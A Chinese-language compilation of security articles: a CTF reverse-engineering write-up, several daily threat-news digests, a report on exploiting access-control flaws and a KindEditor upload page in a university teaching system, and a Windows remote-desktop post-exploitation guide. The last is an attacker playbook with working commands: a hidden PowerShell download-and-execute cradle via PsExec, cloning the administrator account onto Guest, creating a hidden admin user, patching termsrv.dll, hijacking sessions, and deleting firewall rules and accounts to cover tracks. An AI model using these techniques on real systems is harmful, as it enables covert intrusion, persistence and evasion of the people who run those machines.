一道关于逆向的实战CTF题目分析
前言 本题自带call型花指令,考验选手对花指令的理解程度。加密属于基础的异或和左右移位加密。主要考察选手的基础能力,动态调试和写脚本的能力。在这篇文章,详细记录了我的分析过程,相信你会有很大收获。 1、查壳 PE64位,没壳程序 2、IDA分析去花指令 使用IDA打开时,发现一片红,很正常的CTF考点:花指令 sub_main 当务之急是如何去除花指令,继续向下分析,发现了一些端倪 花指令的形成是干扰编译器的分析,但又不会影响程序的正常运行。 那么显而易见,会将某个寄存器进行push(保存)然后对其进行复杂操作,最终pop(恢复)该寄存器的值,程序正常执行。 而在本程序中,可以发现该手法: push ebx ..... pop ebx 中间的过程均无需再看,直接NOP操作。 nop完记得保存修改。 接下来就可以分析main函数啦 而这两个函数恰好均为关键的函数。 sub_401040 此时,我们可以看到函数开头的位置存在多个push操作,不要急着nop。对照函数结束的部分,避免误杀友军。 可以看到pop和push是相互对应的,开头push,结束就要pop。 此时注意到:push、pop不是要nop的点,我们继续分析 熟悉混淆的朋友一定可以识别出这是一个call型混淆。 call一个地址,然后修改堆栈返回值,retn跳过混淆,相对之前的混淆需要对堆栈有一定的理解。 识别出来,进行nop即可 得到加密函数 int __cdecl sub_401040(char a1, int a2) {  return ((a2 ^ a1) << 8) - a2; } sub_401080 来分析另一个函数 相同的操作 得到加密算法 int __cdecl sub_401080(char a1, int a2) {    return a2 ^ (a1 << 8); } 3、分析加密流程 那么现在的任务是获得加密函数的顺序,这里采用动态调试的方法来获得: 得到顺序 left xor xor left xor left left xor left left xor xor xor left left left xor xor xor left xor xor left xor left left left left xor xor xor left 将left用1替代,xor用0替代,得到顺序: int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 }; ‍密文可以看到是: dword_402120 数组 unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08 }; 4、写出解密算法 #include <stdio.h> void left(unsigned int a1, unsigned int a2) {    // (a1>>8)^a2    printf("%c", ((a1 ^ a2)>>8 )); } void xors(unsigned int a1, unsigned int a2) {    //(((a1+a2)>>8)^a2)    printf("%c", (((a1 + a2) >> 8) ^ a2)); } int main() {    unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08   };    int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };    for (size_t i = 0; i < 32; i++)   {        if (temp[i]) {            //left            left(dword_402120[i], 8);       }        else {            //xor            xors(dword_402120[i], 40);       }   } } 到此,恭喜你学会了分析一道CTF题目最基本的步骤。
网络安全日报 2024年07月12日
1、安全机构揭露百亿级洗钱平台Huione Guarantee https://www.elliptic.co/blog/cyber-scam-marketplace 安全机构最新报告揭露了Huione Guarantee,一个看似合法的在线市场,实际上是一个涉及至少110亿美元交易的网络犯罪洗钱平台。该平台被用于多种网络犯罪活动,包括‘杀猪’投资诈骗、个人数据销售等。Huione Guarantee由柬埔寨的Huione Group拥有,调查还发现,Huione Group的子公司之一积极参与洗钱活动,凸显了该平台在东南亚诈骗运营商中的关键作用。 2、攻击者利用巴黎奥运会门票进行欺诈活动 https://quointelligence.eu/2024/07/ticket-heist-olympic-games-and-sporting-events-at-risk/ 随着2024年巴黎奥运会的临近,针对全球观众的欺诈门票销售计划正在增加。研究发现,一个名为Ticket Heist的欺诈活动已经建立了708个域名,主要针对俄语用户和东欧国家。这些欺诈网站模仿官方票务平台,使用Stripe支付系统,意图在用户卡上资金充足时完成交易。该活动的影响可能包括个人经济损失、组织者声誉受损和公众对大型活动信任度的下降。安全研究人员建议持续监控和分析,以有效检测和拆除这些欺诈网络。 3、黑客在犯罪论坛公开泄露诺基亚和微软员工数据 https://hackread.com/hacker-leaks-microsoft-nokia-employee-details/ 近期,一位名为'888'的黑客在网络犯罪论坛Breach Forums上泄露了数千名诺基亚和微软员工的个人信息。这次数据泄露据称是由于第三方承包商的安全漏洞,而非诺基亚和微软服务器的直接入侵。泄露的数据包括员工的职称、全名、电话号码和电子邮件地址,微软员工的数据还包括LinkedIn个人资料链接。尽管没有密码或支付数据被泄露,但公开的联系信息仍可能被用于身份盗窃和社会工程攻击。 4、印度Android用户遭遇虚假通知网络钓鱼攻击 https://cyble.com/blog/regional-transport-office-phishing-scam-targets-android-users-in-india 研究人员发现了一种针对印度Android用户的网络钓鱼攻击,该攻击冒充地区交通办公室(RTO)。攻击者利用WhatsApp传播虚假的RTO通知,诱骗用户下载并安装恶意APK,从而收集设备和联系人信息。这种恶意软件通过Telegram和Firebase服务发送窃取的信息,增加了攻击的隐蔽性。研究人员对该威胁进行了深入分析,并揭露了攻击者可能使用的恶意软件即服务(MaaS)模型。 5、勒索软件Estate利用Veeam漏洞发起攻击 https://www.group-ib.com/blog/estate-ransomware/ 安全研究人员揭露了一起Estate勒索软件组织,利用Veeam Backup&Replication软件中的已修补漏洞CVE-2023-27532进行的攻击事件。该漏洞于2023年3月被披露,Veeam迅速发布了补丁,但一些组织因延迟更新和缺乏定期审查而遭受攻击。研究人员深入分析了此次事件,揭示了攻击者如何利用未修补的Veeam Backup&Replication软件,通过FortiGate SSL VPN进行初始访问,进而部署后门并横向移动。安全研究人员建议加强补丁管理和多因素认证,以预防类 6、官方强烈建议升级,GitLab曝严重的账户接管漏洞 https://www.freebuf.com/news/405728.html 7月10日,GitLab警告称,其产品GitLab社区和企业版本中存在一个严重漏洞,允许攻击者以任何其他用户的身份运行管道作业。 7、多个威胁行为者利用PHP漏洞CVE-2024-4577传播恶意软件 https://securityaffairs.com/165586/hacking/php-flaw-cve-2024-4577-actively-exploited.html Akamai 安全情报响应团队 (SIRT) 警告称,多个威胁行为者正在利用 PHP 漏洞C VE-2024-4577来传播多个恶意软件家族,包括Gh0st RAT、RedTail 和 XMRig。 8、富士通确认客户数据在三月份网络攻击中暴露 https://www.bleepingcomputer.com/news/security/fujitsu-confirms-customer-data-exposed-in-march-cyberattack/ 富士通隔离了受影响的计算机,并在外部专家的帮助下启动了调查,以确定此次数据泄露的范围。在最新一份声明中,公司表示已经完成了对事件的调查,并确认数据是被恶意软件窃取的,该恶意软件从单一的入侵点传播到了49台计算机。 9、谷歌开放“暗网报告”功能:通知用户信息泄露 https://www.ithome.com/0/780/756.htm “暗网报告”功能此前仅限于购买 Google One 订阅的功能,主要监控常规网络方式无法访问的网络部分,除了排查个人信息是否已经泄露之外,还可以搜索相关漏洞信息。 10、Apple地理定位API暴露了全球WiFi接入点 https://www.darkreading.com/endpoint-security/apple-geolocation-api-exposes-wi-fi-access-points-worldwide 在 2024 年黑帽大会的演讲中,马里兰大学研究员 Erik Rye 将演示他是如何在几天内绘制出数亿个接入点的地图的,而在绘制过程中甚至不需要苹果设备或任何权限。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
双一流高校某教学系统存在多个高危漏洞
脆弱资产搜集 信息搜集过程中,除了用常见子域名扫一遍,还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字,利用语法: web.body="关键字"&&web.body="系统" web.body="关键字"&&web.body="登录" web.title="关键字"&&web.body="管理" web.title="关键字"&&web.body="后台" 等一系列语法进行挨个查看。 进行信息搜索(你得有一套自己的信息搜集逻辑吧,不然连这个系统都找不到)后,找到一处教学管理系统,点击页面上方软件,点击蓝色链接,进入教学系统 此处存在多个平台,但发现只有几个平台可以点击进入,先点击右上角的:国际结算 出现一个登录框,发现存在注册按钮,并且注册没有任何限制,直接注册账号进行登录(能进后台肯定先进后台测试,之后再测登录框漏洞) 后台敏感信息越权获取 进入后页面如下,挖洞需要首先观察功能点,将所有能点的都点一遍,将功能转化为接口,转化为数据包后,再进行测试。 经过观察,除了修改个人资料与修改密码,其它均为查看资料的地方,尝试sql注入,RCE,文件包含,目录遍历等漏洞均无成果,于是将目光转到这两处功能点。 点击修改个人资料,再点击保存,转到burpsuite查看数据包 发现此处展现了我的账户,密码等个人信息,且数据包body较为简单,于是将数据包转到repeater进行测试。将userId改为2018发包,发现返回其他用户信息。 经过尝试可以实现登录,再次将userId改为0001和0002直接展现管理员与超级管理员账号,并成功登录。(经过尝试,大概能获取两千左右的用户信息。) 未授权加越权 得到越权漏洞一个,但挖洞时注意数据包如果存在cookie等鉴权字段,就可以尝试删除,如果还能获取就可能存在未授权漏洞。 删除cookie后发包,再次成功获取数据,退出登录,过了半天后再次发送数据包,依旧成功获取数据,于是又将危害扩大,能够实现未授权状态对任意用户信息的获取。 继续查看先前的历史数据包,找到保存信息那一个数据包。将其发送到repeater模块进行分析。 接着先前思路删除cookie但修改个人信息失败。进一步分析数据包,发现两个可疑参数:head头的userId与body处的userId,经过尝试,将head头的userId修改可以实现越权修改他人信息,例如我将userId修改为2018再通过先前拿到的账户密码,发现他的信息已经被修改为了我的信息。 (经过尝试,以上漏洞通杀v1.v2.v3版本) 之后对修改密码处进行一套checklist无果...... 编辑器文件上传利用 秉持着功能点多少决定攻击面大小的想法,我先登录进入了管理员账户。 在没有太多功能点的情况下,从分析js文件出发找功能点,有充足功能的情况下,就先将页面展现出来的功能点转化为接口测试,最后再分析js文件。 进入普通管理员后台,先将整个后台功能点进行总览,先不要着急去测功能点,把功能点先点一遍,再从数据包开始分析。 在数据包中发现Editor字段,加上此处存在试卷编辑功能点,于是猜测可能使用了编辑器,在js文件中搜索关键字: 直接找到kindeditor编辑器,此处直接想到可以尝试kindeditor的文件上传与目录遍历漏洞(多挖才会有思路) 注意此处涉及到接口拼接的一个问题,网上找的相关漏洞复现他们的路径并不是完全通用的,我们在做js拼接时也要注意,路径是否存在一个根路径,本例的根路径就是Content,如果你直接找网上的路径拼接到url处是不行的。 例如查看kindeditor版本的路径就应该是: 为4.1.10貌似存在漏洞,于是访问如下界面: 看到这个页面,根据我的经验估计稳了。于是按照步骤部署html上传页面,再将自己写另一个的xss的html通过自己的html页面进行上传,抓包得到返回路径,拼接后访问,成功弹窗,此漏洞可在未登录状态完成。(另一个目录遍历漏洞未能成功) 以下是kindeditor文件上传的html上传页面代码:(xss代码自己写) <head> <title>File Upload</title> </head> <body> <form enctype="multipart/form-data" action="http://******/Content/KindEditor/asp.net/upload_json.ashx?dir=file" method="post"> <p>Upload a new file:</p> <input type="file" name="imgFile" size="50"><br> <input type="submit" value="Upload"> </form> </body> 通过数据包还看到IIS版本为7.5尝试IIS解析漏洞与MS15-034(代码执行)无果。
网络安全日报 2024年07月11日
1、黑客利用Jenkins配置错误进行挖矿攻击 https://www.trendmicro.com/en_us/research/24/g/turning-jenkins-into-a-cryptomining-machine-from-an-attackers-pe.html 安全研究人员对Jenkins服务器在配置不当时可能面临的加密货币挖矿攻击进行了深入分析,发现攻击者可以利用Jenkins脚本控制台执行恶意的Groovy脚本,通过不当配置的权限实现远程代码执行(RCE)。通过Shodan搜索引擎,研究人员发现许多Jenkins服务器暴露在互联网上,容易受到攻击。此外,研究人员还详细说明了攻击者如何利用Jenkins Groovy 2、研究人员揭露ViperSoftX恶意软件运行机制 https://www.trellix.com/blogs/research/the-mechanics-of-vipersofts-exploiting-autoit-and-clr-for-stealthy-powershell-execution/ ViperSoftX自2020年首次发现以来不断进化的高级恶意软件,利用AutoIt和CLR技术实现隐蔽的PowerShell命令执行,其复杂性和高级功能使其成为网络安全的重大威胁。ViperSoftX的感染流程包括从Torrent陷阱开始,自动执行命令,收集系统信息,并与C2服务器通信。其高级功能包括剪贴板内容捕获、动态下载执行负载、反恶 3、研究人员揭露针对中东监控软件GuardZoo https://www.lookout.com/threat-intelligence/article/guardzoo-houthi-android-surveillanceware 安全团队揭露了一款名为GuardZoo的Android监控软件,该软件自2019年10月起针对中东国家的军事人员进行监控活动,并持续活跃至2024年。该软件通过军事主题诱饵吸引受害者,收集照片、文档、位置数据等敏感信息,GuardZoo基于Dendroid RAT,使用ASP.NET创建的C2后端,具备60多个自定义命令,允许攻击者在受感染设备上部署其他侵入性恶意软件。安全团队将此活动归咎于与也门胡塞武装有关 4、BlastRADIUS漏洞威胁RADIUS协议安全 https://kb.cert.org/vuls/id/456537 安全研究人员近日发现RADIUS网络身份验证协议存在名为BlastRADIUS的重大安全漏洞。该漏洞使得攻击者能够通过中间人攻击修改数据包,绕过完整性检查。RADIUS是一种自1997年以来就被广泛使用的轻量级身份验证协议,支持从基本网络交换机到复杂的VPN解决方案的设备。研究人员建议制造商和网络运营商更新软件和配置,采用更安全的通信协议,如TLS或DTLS,并实施网络隔离和VPN隧道通信,以减轻这一风险。 5、Microsoft Outlook中发现零点击RCE漏洞 https://blog.morphisec.com/cve-2024-38021-microsoft-outlook-moniker-rce-vulnerability 研究人员披露了Microsoft Outlook中的一个零点击远程代码执行(RCE)漏洞CVE-2024-38021,该漏洞影响大多数Outlook应用程序。与6月份披露的CVE-2024-30103不同,新漏洞无需身份验证即可被利用,被评为“重要”级别。微软已发布补丁,但研究人员建议重新评估其严重性至“严重”。鉴于漏洞的广泛影响和零点击特性,攻击者可以轻易利用此漏洞进行未授权访问和恶意活动。建议立即更新Outlook和O 6、五年前泄露的Truecaller用户数据库再次被发现 https://cyberpress.org/273-million-truecaller-india-database-leaked-online/ 五年前,Truecaller的用户数据库曾发生泄露事件,而现在,研究人员发现该数据库再次被公开。这次泄露涉及2.73亿印度用户的敏感数据,包括电话号码、全名和位置等信息。这些信息可能被恶意利用,用于网络钓鱼、发送垃圾信息、身份盗窃等不法活动。受影响的电信公司包括印度的主要服务提供商,如Reliance Jio、沃达丰、Airtel和BSNL等。尽管Truecaller声称这些数据并非来源于其数据库,并已经进行了内部调查,但这一事件再次凸显了数 7、VMware 修补了Aria Automation 中的严重 SQL 注入漏洞 https://www.securityweek.com/vmware-patches-critical-sql-injection-flaw-in-aria-automation/ VMware 警告称,经过身份验证的恶意用户可以输入特制的 SQL 查询并在数据库中执行未经授权的读/写操作。 8、Citrix 修补了严重的 NetScaler 控制台漏洞 https://www.securityweek.com/citrix-patches-critical-netscaler-console-vulnerability/ Citrix 推出了针对多个安全漏洞的补丁,包括 NetScaler 产品线中的严重和高严重性问题。 9、OPENSSH 的一个新漏洞可能导致远程代码执行 一个漏洞影响 OpenSSH 安全网络套件的某些版本,可能会导致远程代码执行。漏洞CVE-2024-6409(CVSS 评分:7.0)影响 OpenSSH 安全网络套件的部分版本,可被利用来实现远程代码执行 (RCE)。该问题是 openssh 的 privsep 子进程中的 cleanup_exit() 中可能存在竞争条件,从而影响 openssh 版本 8.7p1 和 8.8p1。 10、新勒索软件组织利用 Veeam 备份软件漏洞 https://thehackernews.com/2024/07/new-ransomware-group-exploiting-veeam.html Veeam Backup & Replication 软件中一个现已修补的安全漏洞正被一个名为 EstateRansomware 的新兴勒索软件所利用。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月10日
1、Kimsuky组织针对日本机构发起电子邮件攻击 https://blogs.jpcert.or.jp/en/2024/07/attack-activities-by-kimsuky-targeting-japanese-organizations.html 近日,安全研究机构揭露了Kimsuky攻击组织对日本的定向网络攻击。该组织通过发送带有伪装扩展名的恶意附件的电子邮件,诱使目标下载并执行EXE文件,从而启动了一系列复杂的感染流程。这些流程不仅包括从远程服务器下载和执行VBS脚本,还涉及收集系统信息、进程列表、网络信息以及用户数据,并将这些信息发送到攻击者控制的服务器。此外,攻击还包括键盘记录功能,进一步增强了攻击者的信息窃取能力。鉴于 2、研究人员发布DoNex勒索软件免费解密器 https://decoded.avast.io/threatresearch/decrypted-donex-ransomware-and-its-predecessors/ 研究人员发布报告披露了DoNex勒索软件及其前身的加密缺陷,并宣布自3月以来一直在秘密地向受害者提供解密器。DoNex勒索软件自首次出现以来,经过多次更名,包括Muse、假冒LockBit 3.0、DarkRace,直至最终定名为DoNex。研究人员指出,DoNex在美国、意大利和比利时特别活跃,其加密方案存在漏洞,允许使用特定方法解密被加密的文件。勒索软件的配置文件包含用于加密过程的详细设置,包括白名单和要终止的服 3、npm平台遭遇木马化jQuery供应链攻击 https://blog.phylum.io/persistent-npm-campaign-shipping-trojanized-jquery/ 安全研究团队持续跟进并揭露了一起针对npm平台的复杂供应链攻击。攻击者在npm上散布了多个包含被木马感染的jQuery库的软件包,这些软件包在一个月内被多次发布。攻击者修改了jQuery的end函数,该函数在调用时会将表单数据发送到远程服务器。此外,他们还利用了fadeTo函数的普及性,增加了恶意代码的触发机会。这次攻击的复杂性和持久性表明了供应链攻击者日益增长的技术能力和潜在的广泛影响。 4、硬件制造商Zotac因配置错误导致信息泄露 https://www.bleepingcomputer.com/news/security/computer-maker-zotac-exposed-customers-rma-info-on-google-search/ 计算机硬件制造商Zotac因配置错误导致其网络文件夹中的退货授权(RMA)请求及相关文件被公开,敏感的客户信息因此泄露。这些信息包括发票、地址、请求详情和联系信息,可通过Google搜索查询到。YouTube技术频道观众发现了这一漏洞,并已通知Zotac及其合作伙伴。Zotac已采取措施,禁用了RMA门户上的文档上传功能,改为通过电子邮件接收文件,以保护客户信息。 5、美国国家安全局(NSA)1.4GB机密数据发生泄露 https://cyberpress.org/1-4-gb-nsa-data-leaked-online/ 研究人员在数据泄露论坛上发现了1.4 GB的美国国家安全局(NSA)机密数据泄露。这些数据据称来自与美国政府及其盟友密切合作的Acuity Inc.公司。泄露的数据包括政府官员的全名、电子邮件地址、电话号码以及机密通信内容。此次事件不仅暴露了政府承包商网络安全措施的漏洞,也对NSA员工的个人安全和国家安全行动构成严重风险。目前,Acuity Inc.或五眼联盟成员国尚未就文件真实性或事件严重性发表官方声明。 6、微软警告称 Windows Hyper-V 零日漏洞正被利用 https://www.securityweek.com/microsoft-warns-of-windows-hyper-v-zero-day-being-exploited/ 补丁星期二:微软修补了 Windows 生态系统中的 140 多个安全漏洞,包括两个被利用的零日漏洞。 7、RADIUS协议爆出已存在30年历史的严重漏洞 https://www.securityweek.com/blastradius-attack-exposes-critical-flaw-in-30-year-old-radius-protocol/ 安全供应商 InkBridge Networks 周二呼吁紧急关注 RADIUS 协议中发现的一个已有三十年历史的设计缺陷,并警告说高级攻击者可以发起漏洞来验证本地网络上的任何人,绕过任何多因素身份验证 (MFA) 保护。该公司发布了BlastRADIUS 攻击的技术描述,并警告企业内部网络、互联网服务提供商 (ISP) 和电信公司 (telcos) 等企业网络面临重大风险。 8、Evolve Bank 数据泄露影响 760 万人 https://www.securityweek.com/evolve-bank-data-breach-impacts-7-6-million-people/ Evolve Bank 表示,超过 760 万人的个人信息在勒索软件攻击中遭到泄露。 9、Neiman Marcus 数据泄露导致超过 3100 万客户邮箱地址被泄露 https://securityaffairs.com/165492/data-breach/neiman-marcus-data-breach-2.html 美国奢侈品百货连锁店 Neiman Marcus 最近遭遇数据泄露,泄露了超过 3100 万个客户电子邮件地址。 10、研究人员发现也门黑客正在监视中东军用电话 https://cyberscoop.com/researchers-catch-yemeni-hackers-spying-on-middle-east-military-phones/ 网络安全公司 Lookout 称,一个与胡塞运动有关联的也门黑客组织一直在通过在军事人员的手机中植入监控软件来监视中东的军事人员。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Windows远程桌面的奇技淫巧
前言 Windows远程桌面简介 远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机) 远程桌面的前置条件 在获取权限后,针对3389进行展开,先查询3389端口是否开启 netstat -ano | findstr 3389 发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f     (开启) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f     (关闭) 若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统) wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启) wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭) 有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 为了避免运维人员更改了RDP端口,可以确认下RDP端口 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber 正常若是3389端口为0xd3d(默认是十六进制表示) 在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通) netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow 通过命令删除防火墙的通行策略(清理痕迹) netsh advfirewall firewall delete rule name="RemoteDesktop" 克隆账户接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面 利用步骤(默认情况下需要system权限) 在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限) shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))"" (-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行) 查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501) 这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名) download admin.reg 将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分) 将new.reg重新上传到受害机中 导入编辑好的new.reg文件 regedit /s new.reg 修改Guest密码便于远程登录,并及时清理两个reg文件 net user Guest Admin@123 del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg 此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管! 新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面 利用步骤 添加新隐藏用户 net user yuzi$ Admin@123 /add 将新隐藏用户添加到管理员组 net localgroup administrators yuzi$ /add 此时直接进行远程登录隐藏账户,进行图形化操作 若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持) 此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令) takeown /F c:\Windows\System32\termsrv.dll /A icacls c:\Windows\System32\termsrv.dll /grant Administrators:F 修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份 copy c:\Windows\System32\termsrv.dll termsrv.dll_backup 接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地 download c:\Windows\System32\termsrv.dll 在编辑dll前需要确认当前系统的版本号,查看Windows的版本号 powershell Get-ComputerInfo -Property WindowsVersion, OsName 通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90 修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务) net stop TermService /y copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll net start TermService 重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面 借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例) 在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面) 若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面 接下来进行劫持(劫持administrator的会话),查询可劫持的会话 quser 以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值) sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console" 启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面 sc start rdp & sc delete rdp & exit 远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现) net user yuzi$ /delete
网络安全日报 2024年07月09日
1、恶意软件Turla利用LNK文件逃避技术发动新攻击 https://www.gdatasoftware.com/blog/2024/07/37977-turla-evasion-lnk-files 研究人员发现,恶意软件Turla利用恶意LNK文件发动新攻击。该攻击使用快捷方式文件执行无文件后门,通过内存修补、绕过AMSI、禁用系统事件日志等手段逃避检测。感染始于一个被入侵的菲律宾媒体网站,通过伪装成PDF文档的LNK文件进行传播。该恶意软件利用msbuild.exe加载后门,创建计划任务以达成持久化驻留。 2、Anatsa恶意软件利用Google Play应用进行传播 https://cybersecuritynews.com/malicious-qr-reader 研究人员最近在Google Play上发现了一个恶意二维码阅读器应用,该应用传播了Anatsa银行恶意软件,这是一种专门窃取用户敏感银行信息的恶意程序。目前该应用下载次数已达数千,对用户财务数据构成严重威胁。Anatsa恶意软件具备键盘记录、覆盖攻击和远程访问等高级功能,难以被传统安全措施检测。谷歌已迅速响应,从Play Store中移除了该应用,并加强了应用审查流程。 3、研究人员揭露Eldorado勒索软件新动态 https://www.group-ib.com/blog/eldorado-ransomware/ Eldorado勒索软件自3月份起便成为网络安全的新威胁,其RaaS模式已导致16家公司遭受攻击,主要在美国,影响房地产、教育、医疗保健和制造业等行业。研究人员发现,Eldorado的犯罪团伙在RAMP论坛上积极推广其恶意服务,并寻求合作伙伴。该勒索软件基于Go语言,能够加密Windows和Linux平台,在加密过程中会生成独特的密钥,并将勒索信放置在用户的文档和桌面文件夹中。研究人员强调Eldorado是一个独立的新威胁,并非现有勒索软件组织的分支。 4、Ghostscript存在沙盒绕过远程代码执行漏洞 https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 近日,一个被标记为中等严重性的Ghostscript漏洞(CVE-2024-29510)引发了安全研究人员的关注。研究人员揭露了一种攻击者可以绕过 Ghostscript默认沙盒设置并实现远程代码执行的方法。由于Ghostscript广泛用于Web应用程序和云服务中,用于文档转换和预览,因此该漏洞对这些服务构成了重大安全威胁。随着PoC的发布和漏洞受到更多关注,专家们强调了立即更新Ghostscript的紧迫性 5、研究人员公布Mallox勒索软件新变种解密器 https://www.uptycs.com/blog/mallox-ransomware-linux-variant-decryptor-discovered 网络安全研究人员公布了一种针对Linux系统,名为Mallox的勒索软件变种,目前其解密器已被发现。Mallox勒索软件自2021年中期以来一直活跃,此次变种使用Python脚本进行数据加密,并通过TOR网络进行数据泄露威胁。攻击者通过自定义脚本创建勒索软件加密器和解密器,加密文件后附加.lmallox扩展名,研究人员提供了寻找Mallox基础设施的方法,包括在FOFA和Censys上执行特定查询。 6、多国政府邮件服务器遭ProxyLogon与ProxyShell漏洞攻击 https://hunt.io/blog/proxylogon-and-proxyshell-used-to-target-government-mail-servers-in-asia-europe-and-south-america 据网络安全研究人员分析,一系列政府邮件服务器近期遭受了利用ProxyLogon和ProxyShell漏洞的网络攻击。这些攻击影响了多个国家和地区的政府机构,包括阿富汗、格鲁吉亚、阿根廷和老挝。攻击者通过一个在DigitalOcean上的服务器,通过公开的漏洞成功获取了对邮件服务器的未授权访问,并下载了官员间的通信记录。这一事件暴露了即使在漏洞被广泛知晓后,由 7、Microsoft SmartScreen漏洞被用于垃圾邮件攻击 https://cyble.com/blog/increase-in-the-exploitation-of-microsoft-smartscreen-vulnerability-cve-2024-21412/ 研究人员发现一个利用Microsoft 